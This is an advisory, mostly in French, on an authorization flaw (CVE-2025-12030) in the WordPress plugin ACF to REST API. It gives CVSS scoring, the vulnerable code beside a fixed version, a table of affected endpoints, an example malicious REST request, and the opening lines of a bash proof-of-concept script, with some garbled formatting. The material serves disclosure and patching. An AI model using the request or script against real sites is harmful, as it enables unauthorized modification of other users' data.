
ACF to REST API WordPress Plugin IDOR Vulnerability (CVE-2025-12030) - Faille de sécurité permettant aux utilisateurs authentifiés avec un accès de niveau Contributeur de modifier les champs ACF sur des objets qu'ils ne possèdent pas.
Mots-clés : CVE-2025-12030, vulnérabilité ACF to REST API, IDOR, sécurité WordPress, exploitation authentifiée, vulnérabilité de plugin WordPress, CWE-639, modification de champs ACF, contournement d'autorisation, CVE WordPress 2025, Advanced Custom Fields, sécurité REST API
Vulnérabilité IDOR du plugin WordPress ACF to REST API (CVE-2025-12030) - Défaut de sécurité permettant à des utilisateurs authentifiés disposant d'un accès Contributeur de modifier des champs ACF sur des objets qu'ils ne possèdent pas.
Une vulnérabilité de Référence directe à un objet non sécurisée (IDOR) a été découverte dans le plugin WordPress ACF to REST API, permettant à des attaquants authentifiés disposant de privilèges minimaux de modifier des champs ACF sur l'ensemble de l'installation WordPress.
Découvert par : Kai Aizen (SnailSploit)
Publié le : 6 janvier 2026
Score CVSS : 4.3 (Moyen)
CWE : CWE-639 - Contournement d'autorisation par clé contrôlée par l'utilisateur
Plugin : ACF to REST API
Identifiant du plugin : acf-to-rest-api
Type d'attaque : Référence directe à un objet non sécurisée (IDOR)
Privilèges requis : Contributeur+ (attaque authentifiée)
Le plugin ACF to REST API pour WordPress est vulnérable à une Référence directe à un objet non sécurisée dans toutes les versions jusqu'à la version 3.3.4 incluse. Cela est dû à des vérifications de capacités insuffisantes dans la méthode update_item_permissions_check(), qui vérifie uniquement que l'utilisateur actuel possède la capacité edit_posts sans vérifier les permissions spécifiques à l'objet (par exemple, edit_post($id), edit_user($id), manage_options).
Cette vulnérabilité permet aux attaquants authentifiés disposant d'un accès Contributeur et supérieur de :
manage_optionsToutes les modifications sont possibles via les points de terminaison REST API /wp-json/acf/v3/{type}/{id}.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
| Métrique | Valeur |
|--------|-------|
| Vecteur d'attaque | Réseau (AV:N) |
| Complexité de l'attaque | Faible (AC:L) |
| Privilèges requis | Faible (PR:L) |
| Interaction utilisateur | Aucune (UI:N) |
| Périmètre | Inchangé (S:U) |
| Confidentialité | Aucune (C:N) |
| Intégrité | Faible (I:L) |
| Disponibilité | Aucune (A:N) |
**Détail CVSS v3.1 :**
- **Vecteur d'attaque (AV) :** Réseau – La vulnérabilité peut être exploitée à distance sur un réseau
- **Complexité de l'attaque (AC) :** Faible – Aucune condition spéciale n'est requise pour l'exploitation
- **Privilèges requis (PR) :** Faible – Nécessite une authentification de niveau Contributeur
- **Interaction utilisateur (UI) :** Aucune – L'exploitation fonctionne sans aucune interaction utilisateur
- **Périmètre (S) :** Inchangé – La vulnérabilité n'affecte que le composant vulnérable
- **Impact sur la confidentialité (C) :** Aucun – Aucune divulgation d'informations
- **Impact sur l'intégrité (I) :** Faible – Modification non autorisée des champs ACF
- **Impact sur la disponibilité (A) :** Aucun – Aucun impact sur la disponibilité
## Détails techniques
### Cause racine de la vulnérabilité
La vulnérabilité réside dans la méthode `update_item_permissions_check()` qui effectue une autorisation insuffisante :```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
// VULNERABLE: Only checks generic edit_posts capability
if ( current_user_can( 'edit_posts' ) ) {
return true;
}
return false;
}
L'implémentation appropriée devrait vérifier les permissions spécifiques aux objets :```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );
switch ( $type ) {
case 'post':
return current_user_can( 'edit_post', $id );
case 'user':
return current_user_can( 'edit_user', $id );
case 'option':
return current_user_can( 'manage_options' );
// ... other object types
}
return false;
}
### Points de terminaison vulnérables
| Point de terminaison | Cible | Capacité requise (devrait être) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | Articles | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | Pages | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | Utilisateurs | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | Commentaires | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | Termes | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | Options | `manage_options` |
### Vecteur d'attaque```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json
{
"fields": {
"field_name": "malicious_value"
}
}
The vulnerability can be exploited through the WordPress REST API by any authenticated user with at least Contributor role.
⚠️ Uniquement à des fins éducatives et de tests autorisés
#!/bin/bash
TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"
if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi
echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""
AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)
echo "[*] Step 1: Reading current ACF fields..."
curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool
echo ""